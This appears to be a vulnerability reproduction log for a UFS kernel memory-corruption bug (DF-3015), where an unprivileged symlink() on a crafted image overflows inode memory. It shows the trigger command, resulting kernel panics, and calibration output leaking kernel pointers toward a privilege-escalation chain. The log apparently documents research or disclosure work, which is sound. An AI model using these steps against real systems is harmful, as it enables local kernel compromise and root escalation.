DF-3015 / run.log
Baseline (stock kernel) โ DF-3015 reproduction log
====================================================
[setup3015.sh] crafted image mounted:
/dev/vn0 on /mnt (ufs, local)
superblock bytes at 9512: ff 7f 00 00 (fs_maxsymlinklen = 0x7fff)
$ id
uid=1001(maxx) gid=1001(maxx) groups=1001(maxx)
$ ./trigger3015 /mnt/p/l1 # symlink() with 1023 'A's, unprivileged
[+] symlink(1023 bytes) created at /mnt/p/l1 โ bcopy overflow executed
(then `ls -lai /mnt/hold`)
--- observed on the mount (ls -la /mnt/p):
lrwxr-xr-x 1 1094795585 1094795585 1023 Sep 5 08:45 l1 -> AAAA...
^ 0x41414141 ^ 0x41414141
==> the symlink's OWN in-memory inode di_uid/di_gid (i_din+112/+116)
were overwritten with attacker bytes and disclosed to userland by
stat(2). The bcopy provably ran 1023 bytes from i_shortlink.
--- panic #1 (freelist poisoning, bytes 0x53 'S'):
panic: assertion "(((intptr_t)chunk ^ (intptr_t)z) & ZoneMask) == 0" failed in chunk_mark_allocated at /usr/src/sys/kern/kern_slaballoc.c:1659
cpuid = 1
Trace beginning at frame 0xfffff801179e8208
chunk_mark_allocated() at chunk_mark_allocated+0x8a
_kmalloc() at _kmalloc+0x684
ffs_vget() at ffs_vget+0x46
vfs_vget() at vfs_vget+0x84
ffs_valloc() at ffs_valloc+0xc5
(full text: panic.txt โ a free 320-byte chunk's c_Next freelist
pointer had been overwritten with 0x5353535353535353 by a 280-byte
symlink smash; the next inode allocation popped the poisoned list)
--- panic #2 (live-inode pointer smash, bytes 0x41 'A'):
Fatal trap 9: general protection fault while in kernel mode
instruction pointer = 0x8:0xffffffff8090717e
Stopped at ffs_update+0x3e: cmpb $0,0xd2(%r13)
(full text: panic2.txt โ 1023-byte trigger smashed a neighbouring
live inode's i_fs/i_devvp region with 'A' bytes; ffs_update
dereferenced the garbage pointer)
--- calibration (exp3015.c, stock kernel, same boot as panic #1):
[cal] ADJACENCY VERIFIED after 150 pairs (leak i_number == V ino 306)
[cal] k_fs = 00884b1801f8ffff
[cal] k_dev = 80b72b4f00f8ffff
[cal] k_devvp= 000f6e1701f8ffff
==> readlink() leak (DF-0778 primitive) of a chunk following a
280-byte symlink showed the live neighbour inode's i_number exactly
where the offset model predicts โ the write offset is deterministic.
NOTE: all three mount-constant kernel pointers contain 0x00 bytes
(size-class-aligned allocations), which is what blocks the final
uid=0 chain (see VERDICT.md).